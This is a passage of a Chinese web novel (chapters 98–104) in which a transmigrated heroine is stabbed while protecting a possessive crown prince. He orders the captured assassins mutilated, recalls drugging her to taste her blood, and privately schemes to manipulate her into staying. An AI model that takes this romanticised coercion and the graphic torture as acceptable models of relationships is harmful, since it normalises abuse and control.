离阙的冰块脸也多了些色泽,不再斜眼瞅她了,破天荒地用一个看人的眼神,看了沈木兮一眼,吐出两个字。
“谢谢。”
沈木兮笑眯了眼。
借着给北辰景过年的由头,对他的人好一点,那他们也会更加效忠和善待于他。
等沈木兮看去那个端坐正中的男人
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,迟疑了一下,端出了那一碗长寿面。
以前她从未陪他过个好年,也不知他的真正生辰。
今后这样的机会,怕是也不会有了。
这碗长寿面,就当提前祝他年年顺遂,岁岁长安。
不算大的村落小屋里,霎时安静了几分,所有人都看去北辰景。
沈木兮也在看她。
小屋光影里,北辰景垂落的睫羽,好似随着旁边火盆的噼啪乍响,微微颤了颤。
只是,上回连三碗清粥都直接下肚的他,今日却反应平平,也没碰那一碗“提前”的长寿面。
沈木兮的眼神,到底还是落寞了几分。
罢了。
她也坐了下来。
除了方才那个小插曲,后面还是比较和乐的。
西越是很注重年关佳节的,这些自小被训练,成为亲卫的人,要么是孤儿,要么常年离家。都没怎么过过像样的年。
今日大家也算是敞开了。
喜气洋洋的氛围,从年夜饭,衍生到了半夜时分的烟火环节。
只听一声砰响!
一道烟火划过天际,是乡镇上的其他百姓,开始放烟花了。
大家伙也把沈木兮的买的烟火炮仗搬了出来。
许是先前气氛已经带起来了,个个脸上都是笑意。
“殿下,快看啊,好漂亮的烟火。”
“是啊殿下。”
一串接着一串的火光闪耀夜空。
沈木兮仰头看着,脸上也满是笑。
笑着笑着,她想起什么,下意识看去了对面的那个人。
不想两人的视线,就这样撞了个正着。
漫天烟火下,他站在屋廊下,侧脸被烟火点亮,妖冶绝美。
居然也在看着她!
他也在笑。
笑看着她,和离阙等人在烟火下欢舞嬉闹。
可很快,他的双眼,又逐渐变得委屈和湿红,带着一丝沈木兮再熟悉不过的……可怜和幽怨。
像是在怪她。
沈木兮一惊,再次抬头看去,他已经看去了旁处,面色如常,平静冷漠,仿佛方才看到的那一切,不过是个梦影。
烟火还在天空里乍响。
而与这边满是烟火的璀璨世界,截然相反的,是数百米之外的黑暗山野里。
一道道蛰伏的黑影,从四周朝着那村屋涌来。
带着诡异和肃杀……
第99章 年关之夜,血色漫天
林子里脚步声响,沈木兮扒开被雪压下的枯枝,独自走到了密林中。
烟火声已经在她的身后方,可她的心却还是无法平静了。
最后,沈木兮的“自我保护意识”,将方才北辰景的反应,当成他是因为她这张“相熟”脸的有感而生。
毕竟丢下他的那一晚,天上也是这样的壮观烟火。
这样想,一切都顺理成章了。
沈木兮在雪夜里继续清醒了会儿,便打算回去了。
刚走没几步,树影里发出一阵阵窸窣声。
沈木兮那敏锐的第六感,驱使她停了下来。
大雪天,山林里的野兽都不会出现。
这是人。
想着北辰景,这一路上一直在被人追杀,沈木兮神情顿时更严肃了起来。
因为这乡镇上的人,在年关时都会放烟火,反倒是不放烟火的人家,才会更引人注目。
所以她才买了炮仗,以为不会有事,未想还是被这些人嗅到味了。
沈木兮当下找了个地方躲藏起来。
很快,一道道黑影,从暗处出现。
因为这些人身上,穿着和之前夜王手下差不离的黑衣,是以沈木兮便以为还是上次那一波人。
真是属耗子的吗,在这犄角旮旯,都能嗅着味儿偷偷尾随跟来。
而于此时,另一边,烟火下离开一会儿的离阙,得了什么密信,着急的走来,恭敬地递给了北辰景。
“殿下,最近这地方不安分,咱们还是得快些动作了。”
北辰景看着沈木兮偷摸跑去野林的方向,眉心微蹙:“再等等。”
现在离开,带她回京。
她万一又被吓跑了怎么办。
她那么的胆小,流落到各处,都会没命的。只有他懂得如何爱她。
既然回不到过去,那他,便从新开始。
离阙脸色一变,压低声音又道:“殿下……”
被面前的男人那阴冷眼神睨了眼,离阙顿时住口。
见沈木兮还不出来,北辰景对旁边的楚清鸢递了个眼色。
楚清鸢颔首,朝着林中去了。
她很快回来,神色微变。
“殿下,林中无人。”
四周一静。
北辰景暗夜下的脸,顿时生出诡异色泽!
即便有天上渐弱的烟火映照,也只剩下了鬼气四伏……
离阙和其余人对视,大家都想到了那一个可能。
她不会又——
于此时,树林里。
沈木兮追寻着那些人,已经来到林中深处。
这里虽然偏僻,但这附近也是有不少村民的,是以他们还没找到北辰景等人到底在何处。
沈木兮心想,若是这些人没找到人就此离开便罢。
若是真找到了。
她可得想个法子,把这些人支走才是。
然而,计划不如变化。
还不等沈木兮摸清,她就被人发现了。
“谁在那!”
“……”
果真是一群不见天日的老鼠,这也看得到。
沈木兮眼神微冷,但还是从干草里钻了出来。
等出现后,她脸上的冷色,瞬间变成了乡野人没见过世面的谄媚。
“对不住了各位黑衣**哥,我是这里的村民,方才内急,找个地方方便,没想惊扰了各位,对不住,真是对不住。”
方才沈木兮就发现了,这里并没有那个冷刃,她也不怕暴露自己。
加上她之前为了做饭,找附近的村民借了身粗布衣服,身上还拴着围裙,脸被灶台熏得灰扑扑的,一看倒真像是个乡里女子。
但这些人,显然并不打算就这样放过她。
领头人朝着沈木兮走来,上下打量一番她。
“既然你是这里的人,那你肯定很熟悉这附近的路。你来带路。”
沈木兮一句粗话差点爆了出来。
但脸上还是那副胆怯怕死的模样,睁着无辜的眼,没有半点危害和杀伤力。
“那我给各位大哥带路,大哥可以饶了我的小命吗,我家上有九十老母,下还有八个弟弟。”
众人:“……”那**还真能生啊。
“少废话!赶紧!”
沈木兮被人推搡着,转身时她眼底闪过一丝暗光,嘴角带着狡黠笑意。
“好勒,那诸位可得跟上哦。”
好在她这几日为了烧饭,借锅借盆的,已经把这四周都转了个遍。
正好把他们引走。
不过为了打消他们的疑心,沈木兮还是先带着这些人去一些人家附近逗留。
然后再把他们往反方向领。
“不对,这路我们方才是不是刚走过。”有人发现了不对劲,眼神冷冷瞪视沈木兮。
不知为什么,沈木兮觉得,这批人,比上次冷刃带着的,看着更阴险凶狠。
“是吗,这里的路都长一样。”沈木兮说,“啊对了,说起来,最近村里还真来了一批人。”
一听这话,黑衣人们都竖起了耳朵。
“什么人,快说。”
沈木兮皱眉,像是在回忆:“我也只是看了一眼,是一批凶神恶煞的陌生人,我去打听,他们还凶我,让我不许多管闲事,完全没有大哥们看起来面善。”
“……”听着是夸人的话,怎么有些怪。
“后来,他们好像是住到了村里的另一边,对,就是那边!”
沈木兮指了个方向。
众人看去。
那边的确是这个山野村落里最隐蔽之处,若非这个女人提及,他们都没发现呢。
还真会找
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地方躲呢!
此刻那个领头人,已经对沈木兮的话,表示深信不疑了。
倒是旁边的人有些存疑:“头儿,这个村姑的话能信吗?”
“信不信,带她一起去就知道了。”
沈木兮脸色微变,眉心紧蹙。
这些家伙,真不好骗。
就在她再次开始头脑风暴,想法子甩掉他们时。
后方的林子里,突然传来动静。
“头儿,又有人来了。”
不知是村民还是其他人,总之人数不少。
一行人变得警惕。
他们虽然看起来不好对付,但却像是更怕被人发现。
沈木兮站出来说:“黑衣**哥,不如我帮你引走那些人。”
“但我只有一个要求,可不可以给点过年赏钱,我家八个弟弟,都没年夜饭吃!”
看着她眼中对金钱的渴望,几人嫌弃地皱眉。
真是穷乡僻壤里的人,只知道仨瓜两枣,真是上不了台面。
不过他们现在的确不能过早的暴露自己。不然北辰景得了消息,提前动作,他们没成功,回去也会是死路一条的。
那领头人按住旁边还要说话的手下,像是自有对策,打量了一番沈木兮,丢给她一锭银子。
“行吧,就你去引走那些人。”
沈木兮可没忽略这人眼底闪过的冷光。
她眉心皱起,慢慢佯装抬步。
可就在她转身,准备偷偷动作的那一刻……却看到了前方树林里,那道再熟悉不过的身影!
他!不是和离阙他们在放烟火吗,怎么来了这?
他也看到了她,此刻的眼神,好像更冷了。
沈木兮顿时不敢再轻举妄动了,生怕这些黑衣人发现他。
但好在,因为树影遮挡,这些黑衣人的注意力恰好在另一边,都没注意到前方那道男人的“鬼影”。
同理,北辰景那个角度,也看不到她旁边的黑衣人。
只看到了暴露在月光下的她!
沈木兮只能装作无事,朝着前方走去。
“黑衣**哥,我可以自己走了。”
黑衣人冷冷一笑,停下了步子。
可就在这时,身后的黑衣人,突然拍了一下沈木兮的后背:“嗯,去吧……”
沉闷一声响……
沈木兮闷哼一声,脸色顿时变了,身子晃了晃!
但很快,她又维持住了面上的微笑,如无事发生,在前方男人的死亡凝视下走出林子……迈着那……越发踉跄的步伐……一步步……
快走,快走啊。
谢景愿,你快走……
黑夜里。
越是近了,远处北辰景脸上的森冷,越发清晰……
同时弥漫出的,还有她身后,那一股诡异的血腥味。
第100章 他是不是,要拿铁链拴住她
只是隔得太远,他什么也没闻到。
唯一看到的,便是她那早已刻进他脑海里……伪装出的虚假笑意。
和曾经的那一夜,一模一样。
后面!
望着沈木兮强装镇定,实则已经逐渐踉跄的背影,那些黑衣人们相视冷笑。
苍凉夜色下,领头之人的袖下滴答滴答落着滚烫的鲜红,他诡异发笑,默默收回那把刀刃……
他们怎会留下一个活口呢?
冷风一过,数名武功高强的黑衣人们,已经不见了踪迹!
风下沈木兮身子晃荡,雪渣疯狂对着她周身吹打!
几乎站不住。
可这些,都不敌前方,北辰景的脸色来得可怕,偏执,阴冷,让人头皮发麻。
沈木兮方才的虚假笑意,让他又想起了那一年的上元节……
她要逃,要跑,他放任她跑。
等她出去尝尽了苦头,自会明白他的好。
再不济,她跑去天涯海角,那他就把那天涯海角也收入囊中!那样,她便再也逃不出他的手掌心。
这几日。
她一直表现的很听话。
可今夜,她怎么就这么不乖呢?
他是不是,要拿铁链拴住她,她才听话。
可是铁链会弄疼她的,他不想,让除自己以外的人和物,去弄疼她。
不如,就让她在这冬夜里待一夜,等她尝到了妄想离开他的苦头,她还是会乖乖回来的。
北辰景像是真生气了,冷漠的转身。
身影一侧的瞬间,那从树影里走出的女子,苍白如纸的脸,和已经浸染了周身的鲜红,在渗凉的月色下,悄然映入他的幽眸中……刺目的鲜红和四周的皑皑白雪,行成鲜明的对比。
就在那一刹那!
男子眼中的怨怼和阴冷,和嘴角那讽刺的冷笑,如被冬雪冻住了般,霎时僵硬在了他的脸上。
他瞳孔骤缩,惊慌,无措。
几乎是眨眼间就飞身掠到了她的身前!
沈木兮在确定身后的黑衣人们,真的全部离去,才敢松开了一直绷着的那一根弦!
她其实早就撑不住了。
此刻身子一晃,朝着雪地里狠狠栽去。
身影闪现,将她大力拢入怀中!
触摸到她背上的大片黏湿感,他的呼吸都骤停的数秒,再次抬头看去那边的黑暗树林!
四周空气凝结成冰,他的眼神冰冷的吓人!
带着足以毁灭一切的疯感和阴戾!
“来人!”
风声一过,在四周追寻沈木兮踪迹的离阙和清鸢等人,已经飞身落地。
他们看到在殿下怀中,浑身是血的沈木兮,也是满脸震惊!
但很快他们就明白了什么。
冬日山林既没野兽,也不会轻易遇险。莫不是——
北辰景横抱着浑身是血的女子,脸被黑暗遮掩大半,只露出下半张脸,和冷艳似血唇边的嗜血怪异弧度。
“他们,来了。”
“去,孤,要活的。”
众人心头一凛,被这一句惊得身子微微抖了抖。
真抓了活的,那些人便知道,他们还不如今夜直接**的好!
清鸢当即应是,带着人追踪去了。
离阙却留了下来,看去失血过多,已经昏死过去的沈木兮。
受了这么重的伤,却一点动静也没发出,更没有惨叫……
知道她是在故意掩护他们,离阙再看沈木兮的眼神微微变了,眉宇间也生出几分担忧来:“殿下,屋子里还有一些尚存的纱布和伤药,属下去安排小芷给她……”
“不必了,孤会亲自给她上药。”
身影一过!
只剩下了弥漫在这个年关之夜的无尽血腥。
再也挥散不去。
……
清鸢和她带着的人,很快在村里另一边,寻到了那些黑衣人!
几番缠斗下,清鸢不辱使命,把人一一活捉了回来。
她抱着剑,顶着满脸飞溅的血迹,卑躬屈膝跪在灯火通明的屋前。
“殿下,人在这了。”
门一开,那背着所有光影的男人,负着双手,如黑夜里的一座凌冽山丘,一步步走到那群人跟前。
但他的眼神,却更是一只阴冷毒蛇。
他慢慢俯下身,歪着头打量着那群脸色大变的黑衣人,最后目光停留在领头之人的脸上。
黑衣领头人被他阴湿眼眸盯得打了个哆嗦。
但还是倔强地抬着头:“太子殿下,好久不见啊
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。不过你的太子之位,也坐不久了。毕竟,天下人怎会让一个脏污不堪的东西,成为天下之主!”
反正今夜注定是死路一条,他们也不怕了!
而那一句“脏污不堪”,好似带着某种更深的含义!!
也是被人掩藏在最深处,最怕在北辰景跟前提及的东西。
此人话落,四周北辰景的手下纷纷噤声,仿佛空气都凝结了。
离阙和清鸢更是大口气也不敢不出!
冷漠又紧张地看去那黑暗里的男人。
不过很显然,这些侮辱,对于北辰景而言,什么也算不上。
他只是站直身子,冷冷勾起朱唇:“他的话,孤不喜欢,割下他的嘴,还有他的舌头。做成肉汤,让他尝尝自己的滋味。然后,再一点点放干他的血……”
她流那么多的血,肯定疼**。
那他也会让这个人,尝尝她的痛苦。
“其他人……”
北辰景的眼眸泛着恶冷幽光,像是索命阎罗,垂落的手指在风里似在轻轻敲击着什么,不疾不徐地扫视一圈另外跪着的黑衣人。
在他故作拉长的语调下。
这些黑衣人,像是在等待审判死亡的倒计时,个个眼神惊恐畏惧……
“都留在这。她昏迷一刻,就割下他们的一片肉,昏迷两刻,便割两片。”
静。
死一般的静!
他冷笑转身。
那领头人像是疯了,对着他的背影大喊!
“北辰景!你的出身,注定你成不了天子!”
“你这个宫里的肮脏之物,本就不应该回来的!肮脏之下的结晶,天生就是祸患,是灾祸——呃!!”
呲!
恶毒的话语被鲜血浸染,那领头人的话,和被丢去地上的一坨烂肉一样,湮没在了这血色黑暗里。
天际边还燃着璀璨的烟火,混合着身后的一道道惨叫,在这个年关之夜里,猩红又夺目。
他继续笑,一点也不怕那些难听的话语,好似还在享受着那些求饶和谩骂。
门一关,隔绝了外面的一切脏污。
他脸上的阴湿狠戾骤然消失,全然变成了另一副样子,细长的狐狸眸含着水雾。
疾步来到床前。
第101章 想尝她的血
小芷刚收拾完了纱布和药膏,对着进来的北辰景躬身见礼。
北辰景不许其他人碰她,连小芷也不准,她只是在这整理好了东西,便很快识趣儿退下。
四周越发的死静,只有屋子里炭盆火星的噼啪作响。
更显得床上那昏睡过去的女子,此刻安静的吓人。
沈木兮身上染血的衣服被褪了个干净,飘动的朦胧帘子下,就这样趴在床头,如玉肩头,在灯火下,晃着晶莹的白。
他指尖轻轻抚过她的寸寸肌肤,即便是昏睡中,也好似带起她身子的一阵寒颤,如同这是记忆里的感觉,让她胆怯又畏惧。
直至触到那伤口处。
她的伤口是北辰景亲自处理的,所以他知道,那刀伤有多深。
即便被他细心的上药包扎,背上也是红肿一片。
丝丝鲜红从纱布里溢出。
染红了半边床榻。
她应该是疼**,在此刻处于昏死中,眉心也是死死皱着,发出痛苦难受的嘤咛……
却好像疼的是他。
北辰景眉心比床上的人皱得还紧。
沈木兮疼得身子微微挣扎,她好像不喜欢这样一丝不挂,只被纱布紧紧缠绕和束缚,开始扭动身子。
因为乱动,伤口处血珠滚落。
“别怕。”
他轻抚着她颤抖的后背,低沉沙哑地说。
然后缓缓弯下腰,俯下身,用冰冷的双唇轻轻为她舔舐干净那抹红艳色泽。
她的血,他早就背着她偷偷尝过了。
这个念头,存在他的幼年。
犹记得他第一次偷尝她的滋味时,他们还在那偏远的江州小山村里。
是在她第一次在村民保护他的前一夜。
她中了他下的**,昏昏沉沉。
他便偷偷割开她的皓腕,像是饥饿的鬼,小心翼翼品尝过那滴鲜红。
可是,却和他预想中的恶臭和恶心不一样。
她的血,居然甘甜的。
他困惑,不解。却又食髓知味。
因为第一次没经验,割开的伤口太大,鲜红染红她的手指。他为了掩盖一切,轻轻咬住了那截玉指。
也是在那一刻,有什么欲想,开始在他心中悄然生长。
那时的他便想,若是她用这只手,按住他的唇,无限的戏弄和挑逗他。
他定会乖乖的,成为她的狗。
可是,她不乖啊。
北辰景的眼眶逐渐湿热,泛起红痕,湿漉漉的双眼紧盯着她。
捧着她的手。
幻想着她轻抚自己的样子,用那冰冷的女子柔荑,委屈抚摸在自己的脸上。
她好像,从没有这样摸过他。
可能是他充满怨念的眼神太专注炽热,沈木兮闷哼一声,涣散的双眼缓缓抬起。
“景……景愿……是景愿吗?”
他委屈的眼神更可怜了,直直看着她,好像怎么都哄不好了。
沈木兮半昏半醒,什么也不清楚,只知道自己看到了那张熟悉的面容,好似时光到流,回到了以前在猎林时。
她当真就像是他想要的那般,用手捧住他委屈的脸,低哑着声音说:“景愿,对不起啊,是我抛下了你……”她好像想说这句话,很久很久了,声音里都是哽咽。
紧接着,她想起什么,突然又激动起来。
“快走,快走……那些人,今夜他们是来杀你的!景愿,别站在那,快走……呃!”
她这一激动!
拉扯到了身上的伤,疼痛传来,沈木兮眉心狠狠绞在一起。
“别怕,他们杀不了我的。放心……我会,好好的,让你们一起,陪着你。”
伴随着他的低语,她再次沉沉昏睡了过去。
这一昏迷,沈木兮也不知道自己到底昏睡了多久。
其实,她的最后记忆,只停留在被刺,快死在树林里的那一刻。
她只觉,自己好像做了一个很长很长的梦。
梦里,她看到了他。
看着他委屈望着她,悲伤又幽怨的眼神,刺痛着她心口的每一寸。
她还觉得,好像听到了很多声音。
“为什么还不醒!”
“殿下息怒,她……”
……
“殿下,外面的那些人,身上已经没有完好的血肉了,还要继续割吗?”
“割……吊着他们的命,孤不准他们死。”
……
“你好狠……醒过来,给我醒过来……”<
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br>而后还有马车声,街头巷尾的热闹叫卖。
穿梭响在她的脑海。
沈木兮迷迷糊糊,便以为那些话语,只是她梦里的幻境。
直到她听到了那熟悉又古怪的声音。
是楚清鸢的。
“回殿下,宫里那边,已经在速速传殿下回宫了!”
楚清鸢,她为什么会这样恭敬的对他说话?带着低微又臣服的语气。
在这次的对话中,沈木兮终于缓缓清醒了过来。
眼前那原本的山野小木屋,已经全然变成了一间奢华雅致的客栈厢房。
四周都燃着炭盆。
身上盖着的被褥,也是崭新,又暖和的绒毛被。
无论是这陌生的地方,还是她那已经结痂的伤口,都无一证实,距离那次她受伤,已经过去了许久。
至少,快半个多月了。
虽然过去许久,但她周身干干净净,连头发都一丝不苟,显然是被人每日精心打理和擦拭过的。
可这并没有让沈木兮松口气,反而眉心微蹙。
那种久违,囚禁和束缚着她的感觉,再一次侵袭而来。
而这时,外屋里的对话声,再次吸引了沈木兮的注意。
“殿下,陛下已经传信多次,这一次的信笺里的语气,显然带着些薄怒了,您看……”
“你们先回。”
“可是殿下……”
外面争执不休。
沈木兮反而越发的清醒过来,她踉跄着下了床,带着惴惴不安的心,小心翼翼来到帘子后,抬起脸看去外面。
外面,清鸢和离阙两人正跪在北辰景跟前。
卑微又恭敬。
而清鸢的脸上,早已没了先前在沈木兮跟前的恶毒和挑衅。
他们的对话还在继续,
“陛下也是担忧殿下啊,还请殿下三思,尽早回京才是!”
“是啊殿下。”
两人不停相劝着,那语气,好像他们在这里已经逗留了早不止短短几日。
就在清鸢还在奋力相劝时,却是看到了帘子后,那张憔悴苍白,却又满脸震惊的脸……!
清鸢瞬间一愣,随即脸色大变,要说出口的话,也卡在了喉头!
被发现了。
第102章 自此别过,再无相见
谁都没想到,沈木兮会在这个时候醒来。
离阙也发现了沈木兮。
他眼神更为躲闪,很是心虚。
倒是北辰景的背影十分冷静从容,他偏过头,眼神在身后之人的身上过了眼,一瞬的停滞后,他挥挥手。
离阙和清鸢匆忙退下。
厢房里又恢复了一片死静。
沈木兮扒着柱子,眼神极其震惊和陌生,又带着一丝惊悚……看去眼前之人。
清鸢,是他的人。
从一开始就是他的人。
那,是不是表示,早在薛家时,他其实就知道,她是谁!
从那一次的宴席开始,就是他的算计!
乃至后来,这发生的一切?
沈木兮不敢去想,这太可怕了。
他计划了这么久,而她,却像是他掌中的一个笑话,他早就识破她的身份,却看着她“装疯卖傻”!
沈木兮咬着唇,突然就有些小小的生气了。
北辰景却是面色如常。
似乎他与离阙等人在这谈话,他就预料到会被沈木兮识破。
又好像,这些本就在他的计划中。
他朝着沈木兮走来,看着她咬着双唇,眼中带着一丝小猫怒气的样子。
“怎么下床了,冻着怎么办,走,我带你过去。”
他的话语寻常,仿佛完全没把这些当成一回事。
反而是握住她的手,轻柔的把她带回床头。
沈木兮丢开他,紧皱眉头。
“现在,就把话说清楚吧,你早就知道是我了,对不对。”
冷漠的语气,到了唇边,又化作她的一句叹息。
“你这般恨我,也是应该的。”
“你还想怎么做,直接说了吧,要我怎样,才能弥补你。”
若是能做的,她都做。
但求他,别再这样折磨她了。
一次又一次,她会被逼疯的。
一阵沉默后,突听他说。
“清鸢是我早就安插在青州的人。”
言外之意,并非是为了针对她。
沈木兮倒是有些意外,但想想也是,那日参加宴会的人,都是薛清亲自宴请的,能到场的人,全是有身份地位的,不会凭空跑出一个人来。
可这,并没有打消沈木兮心中的疑虑。
即便如此,他也依旧骗她了。
可是一想到自己曾经不也一样欺骗过他的么,沈木兮抿抿唇,又释怀了。
“那你,想怎么样。”
沈木兮抵靠在柱子前,盯着眼前的男人。
但越是这样看着他,沈木兮就越是心虚不已。
他应该是一直在亲自照顾她。
她满脸病容,他其实也没有好到哪里去。
竟比之前深受重伤时,看着更瘦,也更憔悴了。
那双湿红狐狸眼,好似在强忍着什么,却始终没有显露,看着让人心疼的很。
只是这些都被掩盖在他的冷眼面容下,不细看根本分辨不出。
北辰景盯了她一瞬,便转过头:“我只想,让你多陪陪我。你若想走,我是不会拦着的。”
他说的,好生可怜。
好似连她的一个作陪,都要用这些算计来奢求而得。
沈木兮的心,突然抽了抽。
莫名开始反思,自己是不是太狠了?太无情了?
她别开眼,不能看了,不能看了……越看他那孤寂的背影,她就越是自责愧疚!
这小子,分明就是故意的好么!
别忘了,他可是北辰景,已经是实实在在的西越太子了!
他的心机城府,可是她能对抗的?
“你真的,愿意放我走?”沈木兮试探地问了句。
北辰景依旧没看她:“这一年我也是这样过来了,余生如此,也没什么大不了。”
“……”
憋了半天,沈木兮才又开口:“你在京中,没有遇到什么知心朋友吗。”
北辰景终于看了过来,湿红着双眼,一脸莫名,反问:“我为什么要有。”
呃……
沈木兮瞬间哽住。
“你要走,等你伤口好了,我便会让人安排马车送你离开……”他说完,也不等沈木兮有什么反应,便转身离去。
起初,沈木兮以为,这又是他的什么以退为进的算计。
但很快,现实又打了她的脸。
他真的把什么都安排好了。
没有骗她。
沈木兮重新开始深思,若是要带她回去,想去囚禁她,为什么
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他不在她受伤严重昏迷的时候,就强迫带她走呢?
他如今已经不是以前那个谢景愿。
以他的手段,强迫性带她离开,等回了京,她根本就再也跑不出他的手掌心了。
难道,他真的,只是想自己陪陪她?
成为太子后,他面对的便是那无尽险阻。
原文里虽只是寥寥数语,但能从一个孤苦无依的空壳太子,成为权倾朝野之人,是怎样的艰难?
一想着他连在宫外,都要遭遇这一次次的追杀。
回宫后,又能好到哪里去?
临行前,清鸢把整理好的东西,放在了沈木兮的马车中。
沈木兮憋了许久,终于忍不住问:“清鸢,你们殿下,在京中,过得好吗?”
清鸢皱眉,言辞无奈中,带着些讽刺的笑意:“沈姑娘是在说笑打趣吗,你觉得我们殿下会过得好吗?”
“……”
“整个皇宫,除了陛下,都是我们殿下的仇人。而现在,殿下因为你,已经和陛下有了**的迹象。”
“若非是因为在这陪你,殿下何必在南下逗留这么久?”
沈木兮皱眉:“都是仇人?”
她脸色顿时凝重,语气逐渐不爽。
“在皇宫里,很多人都在欺负他吗?”
她以为,只有夜王。
想着他孤身一人回宫,定是遭受了不知多少的欺辱呢。
皇宫那个地方,就是**的漩涡。
“你以为呢?”清鸢冷笑。
“清鸢,别再说了。”离阙走了过来,抱着另一个箱子,眼神里带着警告。
随后他看了眼沈木兮,但冷漠的表情也没有好到哪里去。
“好了,这些东西,都是殿下让我们购置的,无论你想去何处,这些都能让你半辈子吃穿不愁了。”
一切备好。
他们也得去准备他们的行程了。
马车准备了两辆。
沈木兮上了车后,北辰景也从客栈走出,他之前就有些咳嗽,现在更是不住握拳掩唇,脸色苍白,比前段时间略显单薄的背影,看着让人不是滋味。
两方人上车。
各自朝着属于他们的方向前行。
自此别过,再无相见。
第103章 攻略……成功!
北辰景的马车率先上路,和她的车擦肩而过,带起一片雪风。
晃眼间,只剩下随风飘出车窗的那截灰白长发。
无尽飘摇。
冷风一过,吹散了他的气息,也吹散了一切。
落下帘子,沈木兮坐在软乎乎的马车垫子上,许是这段时日,和大家伙都处得不错,现在只剩下她一个人了,竟觉得四周空寂的可怕。
一时间是坐也不是,躺也不是。
仿佛,她才是被抛弃的那一个。
又似乎,有什么被人偷偷埋藏在她心里,被她忽略,又潜移默化的东西,一点点在脱离开了她的掌控和理智……她以为自己会无所谓,可结果却是,反而是她先无所应从吗?
她不知这种感觉为何存在。
就好像,被人无声间循循善诱抛下的诡异种子,终究是开始收网了。
一年多的筹谋巨网,就是为了这一瞬。
半刻后。
“那个,等等!”
只见已经在他们的后方,坐车行驶了一段路途的沈木兮,突然抱着包袱在风里飞奔过来!
离阙勒紧马缰绳,抬头睨了她一眼,语气颇淡。
“何事。”
沈木兮望了里面的人,从包袱里拿出了刚在路上买的枇杷膏。
“喏,离阙,这个给你。可以给你主子润嗓子的。”
离阙一脸无语,似乎是想说,大姐你跑了大半条街追过来,就是塞一个枇杷膏?
沈木兮也觉得怪小气的。
又在包袱里掏了掏。
“这些伤药,还有干粮,都给你们。”
“……”
离阙就这样默默地看着她,把他买来的东西,全部又塞回给了他。
最后她似是觉得一个个拿出来费事,索性丢下了整个包袱。
“算了,全部留给你们吧,你们人多,用得上。”沈木兮好像终于松出口气,又看了眼车内,“不好意思,打搅你们了,我走了。”
看了两眼都没看到人,沈木兮有些小失望,还是转过了身。
离阙瞥了眼,也准备继续驾车。
可刚一动身。
身后,又传来了沈木兮的声音。
“离阙,再等等!”
离阙猛地一个急刹,皱眉:“姑娘还有何事。”
沈木兮攥着双手,憋了半天,像是豁出去了,她终于说了出来!
“那个,我能陪你们一起回京吗!”
她思来想起,一想到他又要孤身一人,去奔赴那个京中漩涡,面对一切。
这心里就十分不是滋味。
既难受,也不忍。
夜王若是个好的,也就罢了。
可他比谁都要奸诈。
更别说,还有其他各种危险!
上次,她就已经丢下了他,这一次,她真的还要丢他一人去到那个可怕的京城吗?
四周一片寂静。
清鸢低垂着头,倒是离阙的眉心皱得更紧了。
“这件事,我不能做主。”
说来也是。
沈木兮索性直接爬上马车,掀开帘子,她别开眸光,没去看他,只支支吾吾地道:“北辰景,我,可以和你一起回去吗。”
静,依旧是静若寒蝉。
是不愿意吗?
沈木兮有些失望,但也能接受:“我知道了,对不起,打扰了。”
撑着车壁的手准备收回转身。
却在下一刻,被里面的人牢牢按住。
沈木兮惊讶抬头,和他早已通红的双眼对望。
他不敢置信,眼神却是十分小心翼翼,问她。
“你真的,想陪我一起回京。不是在骗我?”
恍惚间,沈木兮好似看到了那一夜,在自己逃离后,独自留在街道上,面对茫茫白雪的他。
他那个时候,是否也是这样的孤独可怜呢?
“若你是骗我,想故意安抚我,你现在就可以走了。”他倔强地死盯着她说。
话语听着好似很冷漠,但那眼神里,却是带着连他自己也没有觉察到的卑微祈求。
沈木兮的心都好似揪在了一起。
“我愿意跟你回去,但是,我也有一个要求。”
“我只是陪你回去一两年,等你能够真正的独挡一面,我会离开。”
这一次,她不再骗他。
她会提前和他说清楚一切,他能接受,她便会回京。
“真的?”北辰景那掩在黑暗
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里的双眸,像是被什么点亮,声音发颤,却又带着他的害怕,“你真的,没有在骗我。”
他近段时日憔悴了不少,泪水顺着狐狸眼落下,带着一股莫名的娇感。
当真是美人落泪,这一红眼,好像全世界都是错的。
看来那一回上元节,真的把他吓到了。
沈木兮笑了,抬手,轻抚着他的脸。
又拿起袖子,一点点为他擦去那两行泪。
“是,没有骗你,我再也不会骗你了。”
“景愿,对不起。那一次,我太害怕了,我……”她顿了顿,始终没有说出自己真正害怕的原因,话音一转,“不过,这一次,我选择相信你。”
他被自己欺骗,还被她丢下。若按照文中的描述,她或许早就成了那一具干尸了。
可却没有。
她想,或许在自己曾经的悉心照顾下,他感受过了温暖,所以他的心,并没有文中所写的那么的阴森可怕了。
那她,便相信他。
北辰景感受着这等待许久的轻抚,像是回到了曾经,像是一只小狐狸,将自己的脸贴在她的手心里蹭了蹭。
可这一次,他不再是像以往,是以卑微的姿势蹲在她的跟前。
而是站在高处,从上往下,低头俯瞰她。目光柔柔的,俯下身,对着她的唇浅硺了一口,
“阿兮,我相信你。”
沈木兮一愣,唇上那绵软的触感,让她有一瞬的惊慌,可很快,又被另一种情绪蔓延掩盖。
似紧张,似无措。
脸也开始发红,发烫。
紧接着,她满脸严肃地说。
“景愿,我们要立个规矩了,那一次,你是为我解毒……我可以当什么也没发生。可是今后,这样亲近的动作,都尽量不要有。”
北辰景通红双眼里划过一丝阴冷偏执和不虞,但很快又被灿然笑意替代。
“好,我听你的。”
看不到的角度,他唇边带着攻略成功的享受和病态笑意。
下一次,便是你主动吻我了。
你会乖乖吻我的。
……
三日后。
“什么?让我假扮太子妃?!”
第104章 传闻中的恶毒太子
半路停息的驿站里,沈木兮几乎是跳了起来!
眼神也充满了警惕和狐疑。
旁边离阙和清鸢眼观鼻鼻观心,不敢发话。
北辰景安静的坐在一旁,手中端着一杯清茶,垂眸浅抿:
“你不喜欢,可以不用。”
离阙却是忍不住开口了:“殿下,前朝后宫的人,都在盯着您。您这般堂而皇之从南下,带一个陌生女子回去,必须要有个身份。再者……”
沈木兮已经知道离阙后面要说的话了。
再者他们本就是南下寻妃,借这个由头带她回京,是最稳妥的。除此之外,也能更加掩饰他们寻找铁矿山的真实意图。
可是……太子妃吗?
沈木兮还是犹疑了。
她选择回京,除了是想弥补。
还因为她没得选。
自己在青州,他都能找到了她,她又能真正的躲去哪里?
在如今的主导权,还在自己手中的时候……在他还没想弄死自己的时候,陪他回京这条路,是唯一能保得一线生机的机会。
但……
北辰景放下茶杯,看沈木兮的眼神平静又温和:“不必担心,孤另想办法。”
他努力表现的很沉静从容,但眉宇间的那点忧虑,还是被沈木兮看到了。
她很郑重的想了想:“只是太子妃吗,若是今后我离开,会不会因为这个名头生出什么事端?”
清鸢在旁边补充。
